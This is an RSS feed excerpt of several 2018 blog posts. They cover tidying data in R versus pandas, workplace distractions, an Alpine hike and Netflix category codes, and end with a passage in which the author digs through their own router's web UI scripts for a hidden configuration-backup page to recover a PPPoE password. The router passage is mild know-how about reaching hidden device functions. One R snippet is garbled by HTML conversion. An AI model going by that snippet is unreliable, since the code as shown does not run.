&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjHK_Rh_Z6fwT_l6-2OwtiTnFAC_oiaJads9lemAbjM6QTWsb_eSBGUwpGcbe5SyP7myg4-pxK-4TUPi35U-7ShMI9SVxaVVQOK0Y2KN1CYCc2MupA49YCgSlH4r8uS4sAmPdtoLzAuxg/s1600/spreadsheet.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjHK_Rh_Z6fwT_l6-2OwtiTnFAC_oiaJads9lemAbjM6QTWsb_eSBGUwpGcbe5SyP7myg4-pxK-4TUPi35U-7ShMI9SVxaVVQOK0Y2KN1CYCc2MupA49YCgSlH4r8uS4sAmPdtoLzAuxg/s1600/spreadsheet.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
In other words, it contains measurements for a particular date for a particular tap point and compound.&lt;br /&gt;
&lt;br /&gt;
He was using the following R code to plot how the Iron levels varied over time at different sampling points:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;library(tidyverse)

ggplot(data) +
  geom_line(mapping = aes(x=Date,y=Tap4.Fe,color="red")) +
  geom_line(mapping = aes(x=Date,y=Tap5.Fe,color="blue")) +
  geom_line(mapping = aes(x=Date,y=Tap6.Fe,color="purple")) +
  geom_line(mapping = aes(x=Date,y=Tap7.Fe,color="green")) +
  geom_line(mapping = aes(x=Date,y=Tap8.Fe,color="orange")) +
  geom_line(mapping = aes(x=Date,y=Tap9.Fe,color="brown"))&lt;/pre&gt;
&lt;pre&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;/pre&gt;
But he could sense that this was not an optimal solution to the problem and wanted some advice on getting this to work better.






&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;
Tidy data&lt;/h2&gt;
&lt;div&gt;
My first comment to him was that this data is not in the format which the tidyverse wants. Hadley Wickham appears to have revitalised the R language with his clever packages and wrote a manifesto of sorts to the benefits of &lt;a href="https://en.wikipedia.org/wiki/Tidy_data"&gt;tidy data&lt;/a&gt;, which I feel is really just a no-nonsense approach to &lt;a href="https://en.wikipedia.org/wiki/Database_normalization"&gt;data normalisation&lt;/a&gt;. There are many things wrong with the data in its current form, but I see spreadsheets like this quite often.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The problem is that people want an easy way of entering data and often end up focusing on ease of entry instead of ease of analysis. It is easy to understand how this format grows by adding more readings as extra columns on the spreadsheet and having one date per row.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
From a normalisation perspective, the problems with this format are that there is data in the column name: Tap4.Fe is actually encoding two fields - a position and a compound. Our first job is therefore to tidy up this data.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The tidyverse supplies a lot of useful functions to do just that. Here is how I tidied the data:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span&gt;measurements &lt;- data.csv="" read_csv=""&gt;%&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;&amp;nbsp; gather(measurement, value, -Date) %&amp;gt;%&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;&amp;nbsp; separate(measurement, c("position", "compound"), sep="\\.") %&amp;gt;%&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;&amp;nbsp; drop_na()&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Now measurements is much "taller" and less wide:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJwEyDGo_vQ8VKL3I7tkMDp6lebzlKCpVDZcb2MJvOfJfKYYGOLA4Ulx9-wcjv4Dzz3c7v1VnU9PfFvQGLQawt6-9VaTV1WIL2X4Og7ps1TczOfyjUbUKD5OfT2zDTMY9ncolYkAgzG8A/s1600/tall.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJwEyDGo_vQ8VKL3I7tkMDp6lebzlKCpVDZcb2MJvOfJfKYYGOLA4Ulx9-wcjv4Dzz3c7v1VnU9PfFvQGLQawt6-9VaTV1WIL2X4Og7ps1TczOfyjUbUKD5OfT2zDTMY9ncolYkAgzG8A/s1600/tall.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
The key points here are that we have a single row for a single observation. This is the essence of the tidy data philosophy and it makes downstream processing very easy.&lt;br /&gt;
&lt;br /&gt;
Here is how I recreated his plots:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;filter(measurements, compound == "Fe") %&amp;gt;%&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;&amp;nbsp; ggplot +&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;&amp;nbsp; aes(x = Date, y = value, color = position) + geom_line()&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
That's really nice. I can filter to find the Iron measurements and I can have ggplot handle the colours automatically by looking at the position.&lt;br /&gt;
&lt;br /&gt;
The resulting plot looks like this (this is just with all default settings):&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiap0PBvTP8GereaTnDkNM8SIRAresA2SVBm99-rp4SwOSTiK6zpoghEGTt6t8k8huheLuAbY5HwPWcvfJ00DAss-GHrXzKMuFSQMvEhVdzI9w88G7Q8vw69y0NjnGLXqlyIwf9enId9lo/s1600/r.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiap0PBvTP8GereaTnDkNM8SIRAresA2SVBm99-rp4SwOSTiK6zpoghEGTt6t8k8huheLuAbY5HwPWcvfJ00DAss-GHrXzKMuFSQMvEhVdzI9w88G7Q8vw69y0NjnGLXqlyIwf9enId9lo/s1600/r.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;h2&gt;
Python&lt;/h2&gt;
&lt;div&gt;
I was very happy with how succinct the R version of the solution was, but I use Python more than R, so I was interested to see how Pandas handles this.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The "tidyfication" of the data requires a lot more ceremony in Pandas:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;df = (pandas.read_csv('data.csv', parse_dates=['Date'])&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; .melt(id_vars='Date')&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; .dropna())&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;df[['position', 'compound']] = df.variable.str.split('.', expand=True)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;del df['variable']&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I'm especially critical of how hard it is to replace a compound column with its split version (the last two lines). Wickham clearly understands that this is a common problem in data files, where the Pandas version feels "hacky".&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Now the code to recreate the graphics:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;df.query('compound=="Fe"').pivot(index='Date', columns='position', values='value').plot()&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsLPsfZLtaVRcvRkGgzL1Os4jykksvlpH20MLwTTdj8hmasSamfiWDHTENUgZuhw3eA5eHgByjgJNdanMtsnjb2PKc30_A1zg2RRNr-rWHlMUbeE-ltuCLTMEylQ2mN7M5ebg0gScDeFA/s1600/python.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsLPsfZLtaVRcvRkGgzL1Os4jykksvlpH20MLwTTdj8hmasSamfiWDHTENUgZuhw3eA5eHgByjgJNdanMtsnjb2PKc30_A1zg2RRNr-rWHlMUbeE-ltuCLTMEylQ2mN7M5ebg0gScDeFA/s1600/python.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Again, I am using the default settings. Although that might look a bit simpler than the R code, it took me ages to write. There is a bit of counter-intuitive (to my mind) pivoting so that I can use the built-in Pandas plot command and I have much less flexibility about the mapping.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I suppose the take-home here is that tidying your data is a win regardless of your platform, but that R and the tidyverse is really a force to be reckoned with. I'm hoping the Pandas API will end up providing some of the powerful verbs from tidyr et al eventually.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;</description><author>Negative Feedback</author><pubDate>Fri, 14 Sep 2018 09:52:04 GMT</pubDate><guid isPermaLink="true">http://negfeedback.blogspot.com/2018/09/case-study-r-tidyverse-vs-python-pandas.html</guid></item><item><title>Distractions Cause Bad Code</title><link>https://ntietz.com/blog/distractions-cause-bad-code/?utm_source=atom&amp;utm_medium=feed</link><description>&lt;p&gt;We are barraged by constant distractions, and they are degrading the quality of our work. Our digital society now is set up to allow us to focus for mere minutes at a time, since we are in an attention economy and the sole objective of companies is to capture more of our time. Facebook, Google, and Snapchat are all incentivized to get us to look at our phones many times a day.&lt;/p&gt;
&lt;p&gt;Distractions permeate everything, even at work. GitHub has notifications for so many things that if you have work and personal projects on the same account, you will get unrelated notifications all the time. Our employers set us up with ping-pong tables, open offices, and Slack, the open-office of chat tools.&lt;/p&gt;
&lt;p&gt;With all these distractions surrounding us and with all these notifications, we are expected to get deep work done. Personally, I cannot. And you cannot, either.&lt;/p&gt;
&lt;p&gt;When I'm highly distracted, I'm prevented from entering flow. To my core, I'm a maker. I get such a thrill from making things that are usable and useful, and these distractions cut through that in a way that makes it impossible to have a productive, fulfilling day.&lt;/p&gt;
&lt;p&gt;Flow is important if you want to get anything meaningful done. Context switching takes a lot of effort and time and you can only do it so many times in a day. If you are constantly distracted, you will never enter flow and you will never have great, innovative ideas.&lt;/p&gt;
&lt;p&gt;If you never concentrate and go deep, you will produce bad work: you will produce bugs, and fail to debug them; you will create security issues; you will cause performance problems; and you will architect things poorly.&lt;/p&gt;
&lt;p&gt;You cannot live in a vacuum: you have to talk to users and stakeholders and your teammates and your manager. But that should be done on your schedule, not on theirs (most of the time) so that when you are done talking to them and you have a good idea of what to build, you can go crank out a high quality first version. This version will be on the right track, technically: good architecture, usable performance, well-tested, with minimal bugs. This is a first iteration you can go take to users to get concrete feedback and keep iterating.&lt;/p&gt;
&lt;p&gt;Our attention is being squandered and we have an opportunity now to reclaim it. Fight back. Get rid of the ping-pong table; delete Facebook and Snapchat; disable push notifications for emails; build some walls to establish real offices. Setup processes on your teams to give people large chunks of time where they can go deep, for days at a time. Put walls or even hundreds of miles between your employees. Embrace flow, and get some work done. You'll feel better, I promise, and what you produce will be better as well.&lt;/p&gt;</description><author>ntietz.com blog - technically a blog</author><pubDate>Fri, 14 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ntietz.com/blog/distractions-cause-bad-code/?utm_source=atom&amp;utm_medium=feed</guid></item><item><title>Minard / Morse / Tufte and Authenticity on the Web</title><link>https://www.masswerk.at/nowgobang/2018/minard-morse-tufte</link><description>Observations on information spread and authenticity of well-known objects on the Internet.</description><author>mass:werk – Now Go Bang!</author><pubDate>Thu, 13 Sep 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://www.masswerk.at/nowgobang/2018/minard-morse-tufte</guid></item><item><title>Summer Haute Route - Part 3: Dix, Prafleuri</title><link>https://www.wildernessprime.com/expeditions/summer-haute-route-2018/part-3-dix-prafleuri/</link><description>&lt;h1&gt;Over the Pas de Chèvres, Mont Blanc de Cheilon, La Cabane des Dix&lt;/h1&gt;&lt;p&gt;The next section led deep into the mountains. Up the valley to the ski resort of Arolla, and over the Pas de Chèvres to the imposing view of the Mont Blanc de Cheilon with La Cabane des Dix overlooking. I've visited the Dix hut several times on the winter version of this route, so I pushed on towards the Pas du Chat and the Lac Dix beyond.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1549644809/IMG_4490.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Cabane de Prafleuri isn't in the most picturesque setting - crouching in the barren quarry carved out of the landscape during the construction of the Dix dam. I was running low on water for the last couple of hours hiking, so arriving at the cabin was very welcome.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1549727659/IMG_4516.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;The journey onwards to Mont Fort was perhaps the most perilous of the trip - an intense scramble up and over the Col de la Chaux. Very happy to arrive at Cabane du Mont Fort in one piece.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1549728032/IMG_4548.jpg" /&gt;&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Wed, 12 Sep 2018 19:47:36 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/summer-haute-route-2018/part-3-dix-prafleuri/</guid></item><item><title>209 Netfix Categories You Dont Know About</title><link>https://www.mattcrampton.com/blog/209-netflix-categories-you-dont-know-about/</link><description>209 Netfix Categories You Dont Know About Netflix is available just about everywhere and in every country. But they change which movie and TV categories they promote in each market. That means there are some hidden Netflix categories you haven't seen before. So here's a set of links to 209 of the hidden channels available, listed below. There's a ridiculous number of very specific categories like Alien Sci-Fi, Boxing Movies or Satanic Stories, see the list below... The Netflix Hidden Category List... Category # Netflix Category Name 1365Action &amp;amp; Adventure 43040Action Comedies 1568Action Sci-Fi &amp;amp; Fantasy 43048Action Thrillers 11881Adult Animation 7442Adventures 3761African Movies 3327Alien Sci-Fi 5507Animal Tales 7424Anime 2653Anime Action 9302Anime Comedies 452Anime Dramas 11146Anime Fantasy 3063Anime Features 10695Anime Horror 2729Anime Sci-Fi 6721Anime Series 29764Art House Movies 77232Asian Action Movies 5230Australian Movies 8195B-Horror Movies 12339Baseball Movies 12762...</description><author>MattCrampton.com</author><pubDate>Wed, 12 Sep 2018 08:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mattcrampton.com/blog/209-netflix-categories-you-dont-know-about/</guid></item><item><title>Password recovery from an Alcatel-Lucent Cellpipe 7130</title><link>https://cmetcalfe.ca/blog/password-recorvery-from-cellpipe-7130.html</link><description>&lt;h2&gt;Background&lt;/h2&gt;
&lt;p&gt;In my current rental situation, the landlord provides internet included with the rental. Since it's
fast enough and has enough bandwidth this isn't an issue at all. The only problem is that the modem
provided by the telco is an ancient &lt;code&gt;Alcatel-Lucent Cellpipe 7130 5VzA2001&lt;/code&gt; modem/router combo. It's
running firmware version &lt;code&gt;1.0.4.4R8-wh&lt;/code&gt;, released on 2012-05-08 16:30 (there are no updates, I
checked).&lt;/p&gt;
&lt;p&gt;Since the Cellpipe only has 4 x 10/100 LAN ports and terrible WiFi performance, I would much prefer
to use my own equipment to perform the routing and just use the Cellpipe 7130 as a WAN gateway.
Unfortunately, for some reason, there is no way to turn off the routing aspect of the Cellpipe and
just use it as a modem (aka bridge mode). There is also no way to turn off &lt;a href="https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol"&gt;DHCP&lt;/a&gt; functionality on
it.&lt;/p&gt;
&lt;p&gt;My current hacky solution to these problems is to let my router get an IP from the modem/router via
DHCP, then set that IP as the DMZ host on the Cellpipe. This effectively forwards all TCP and UDP
ports to the router, making it seem like it's the boundary device for the network. Luckily, my
router always seems to request the same IP no matter what so this continues to work even if both
devices are power cycled.&lt;/p&gt;
&lt;p&gt;Since this is not an ideal situation, I'd like to replace the Cellpipe with a more performant modem
without any of the routing overhead. To do this, I just need to port the configuration details from
the Cellpipe (like the username and password for the upstream &lt;a href="https://en.wikipedia.org/wiki/Point-to-Point_Protocol_over_Ethernet"&gt;PPPoE&lt;/a&gt; connection) over to a new
modem. Unfortunately, there's nothing in the web interface that will allow me to see the password
and there's no option to do a configuration backup. I also can't just call up the telco since it's
the landlord's account.&lt;/p&gt;
&lt;p&gt;This means we're stuck, right?&lt;/p&gt;
&lt;h2&gt;Digging into the Cellpipe&lt;/h2&gt;
&lt;p&gt;Doing a quick &lt;a href="https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures"&gt;CVE&lt;/a&gt; search for the Cellpipe only turns up &lt;a href="https://www.cvedetails.com/cve/CVE-2015-4586"&gt;CVE-2015-4586&lt;/a&gt; (a &lt;a href="https://en.wikipedia.org/wiki/Cross-site_request_forgery"&gt;CSRF&lt;/a&gt;
vulnerability) and &lt;a href="https://www.cvedetails.com/cve/CVE-2015-4587"&gt;CVE-2015-4587&lt;/a&gt; (an &lt;a href="https://en.wikipedia.org/wiki/Cross-site_scripting"&gt;XSS&lt;/a&gt; vulnerability), both of which aren't useful in this
case. Oh well.&lt;/p&gt;
&lt;p&gt;Seeing as the &lt;a href="https://infoproducts.alcatel-lucent.com/cgi-bin/dbaccessfilename.cgi/401389004_V1_CellPipe"&gt;Cellpipe 7130 manual&lt;/a&gt;(PDF) mentions various functionality that my device
doesn't seem have, my hypothesis is that there might be a configuration backup/restore function
somewhere, just not exposed in the UI. With that in mind, I went trawling through the HTML and
JavaScript files the web UI served up. I found:&lt;/p&gt;
&lt;p&gt;The color 'red' is commented out and redefined as white. This suggests that they could be hiding
error messages by just making them the same color as the background:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;//var red    ='#FF0000';&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;red&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'#FFFFFF'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Debugging in production builds with commented out &lt;code&gt;alert&lt;/code&gt; statements:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;//alert(isRouter);&lt;/span&gt;
&lt;span class="c1"&gt;//alert(isAPmode);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Various comments indicating lack of source control:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;
&lt;span class="normal"&gt;6&lt;/span&gt;
&lt;span class="normal"&gt;7&lt;/span&gt;
&lt;span class="normal"&gt;8&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;//Jamie hide 20111109&lt;/span&gt;
&lt;span class="cm"&gt;/*if(menuItem=='HPNA')&lt;/span&gt;
&lt;span class="cm"&gt;{&lt;/span&gt;
&lt;span class="cm"&gt;    printMenuItem('hpna.html', 'HPNA', white, darkBlue);&lt;/span&gt;
&lt;span class="cm"&gt;}else{&lt;/span&gt;
&lt;span class="cm"&gt;    printMenuItem('hpna.html', 'HPNA', black, blue);&lt;/span&gt;
&lt;span class="cm"&gt;}&lt;/span&gt;
&lt;span class="cm"&gt;*/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;//fanny add 2011/02/22&lt;/span&gt;
&lt;span class="nx"&gt;printMenuItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'wifi_statistics.html'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'WLAN Statistics '&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;black&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;white&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cm"&gt;&amp;lt;!-- jonathan 2004.04.07    Begin  --&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;logoutForm&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;post&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;hidden&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;logoutMsg&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="cm"&gt;&amp;lt;!-- jonathan 2004.04.07    End  --&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;These all seem to allude to shoddy release processes, meaning that it's highly likely that
per-model customizations were rushed UI-level hack jobs on top of the current release and not
maintained branches where actual functionality was changed.&lt;/p&gt;
&lt;p&gt;Since a configuration backup will include the PPPoE username and password, let's do a search for
"config". Sure enough:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;
&lt;span class="normal"&gt;6&lt;/span&gt;
&lt;span class="normal"&gt;7&lt;/span&gt;
&lt;span class="normal"&gt;8&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;printMenuSection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'util_main.html'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Utilities'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;white&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;printMenuItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'lang_set.html'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Language Setting'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;black&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;white&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;printMenuItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'util_reboot.html'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Reboot Gateway'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;black&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;white&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;//printMenuItem('util_reservice.html', 'Restart Service', black,white);&lt;/span&gt;
&lt;span class="nx"&gt;printMenuItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'util_factory.html'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Restore Factory Defaults'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;black&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;white&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="hll"&gt;&lt;span class="c1"&gt;//printMenuItem('util_cfgstore.html', 'Configuration Store', black,white);&lt;/span&gt;
